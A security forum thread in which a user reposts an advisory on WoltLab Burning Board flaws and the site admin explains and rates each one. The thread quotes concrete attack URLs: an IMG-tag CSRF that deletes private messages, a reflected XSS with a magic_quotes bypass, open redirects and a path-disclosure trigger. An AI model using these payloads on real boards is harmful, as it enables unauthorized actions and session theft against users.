Waraxe Forums - woltlab burning board multiple remote vulnerabilities

markus0815 · Beginner

i'm posting this straight from milw0rm and will comment it a little:

# Vulnerabilities: BBCode IMG / XSS / Delete PM / Full Path Disclosure / URL Redirection

// so far so good

# BBCode IMG Tag Script Injection
# [img]http://[host][/img]

// what exactly will this do? i can enter the URL to a server of mine which i could place a script at, right?

# Cross Site Scripting

# http://[host]/[path]/wcf/acp/dereferrer.php?url=javascript:alert("Example");
# you can bypass the magic_quotes_gpc with String.FromCharCode function.

// what exactly will this do?

# URL Redirection

# http://[host]/[path]/wcf/acp/dereferrer.php?url=http://[host]
# http://[host]/[path]/wbb/?page=ThreadAction&action=deleteAll&boardID=1&url=[local URL]

// what are the possibilities here? especially in the first one, what's dereferrer.php and what does it do? the second one, erm, how would this work? action=delete will only work with admin privileges afaik?

# Full Path Discloscure

# http://[host]/[path]/wbb/index.php?page=[]
# it works on < 3.0.8 version only.

// again, full explanation needed Smile

thanks

waraxe · Site admin

1. BBCode IMG Tag Script Injection --> I fail to see any script injection here.
There is some example:

# Delete Private Messages (BBCode IMG Tag Script Injection)

# Insert into a (forum message/private message/your signature) the code below:
# [img]http://[host]/[path]/wbb/index.php?page=PM&action=delete&pmID=[ID]&folderID=0[/img]
# The fake image doesn't show errors.

It's actually CSRF vulnerability and is not related to BBCode at all.

2. # Cross Site Scripting

# http://[host]/[path]/wcf/acp/dereferrer.php?url=javascript:alert("Example");
# you can bypass the magic_quotes_gpc with String.FromCharCode function.

XSS can be useful, if software is using cookie-based session management and if sessions are not locked to IP-address. Anyway, Reflected XSS needs social engineering: you must somehow get your victim to visit the website under your control.

3. # URL Redirection

# http://[host]/[path]/wcf/acp/dereferrer.php?url=http://[host]
# http://[host]/[path]/wbb/?page=ThreadAction&action=deleteAll&boardID=1&url=[local URL]

This is useless vulnerability. It can mean HTTP Response Splitting possibilities or it can be used by spammers for concealing the source though.

4. # Full Path Discloscure

# http://[host]/[path]/wbb/index.php?page=[]
# it works on < 3.0.8 version only.

Full path disclosure is useful as additional information source and it can help exploiting other vulnerabilities. It's just one piece of puzzle Smile

So by my opinion there is no vulnerabilities here, which can take inside of target server. Sql Injections, LFI, RFI, RCE - this kind of vulnerabilities are more valuable Smile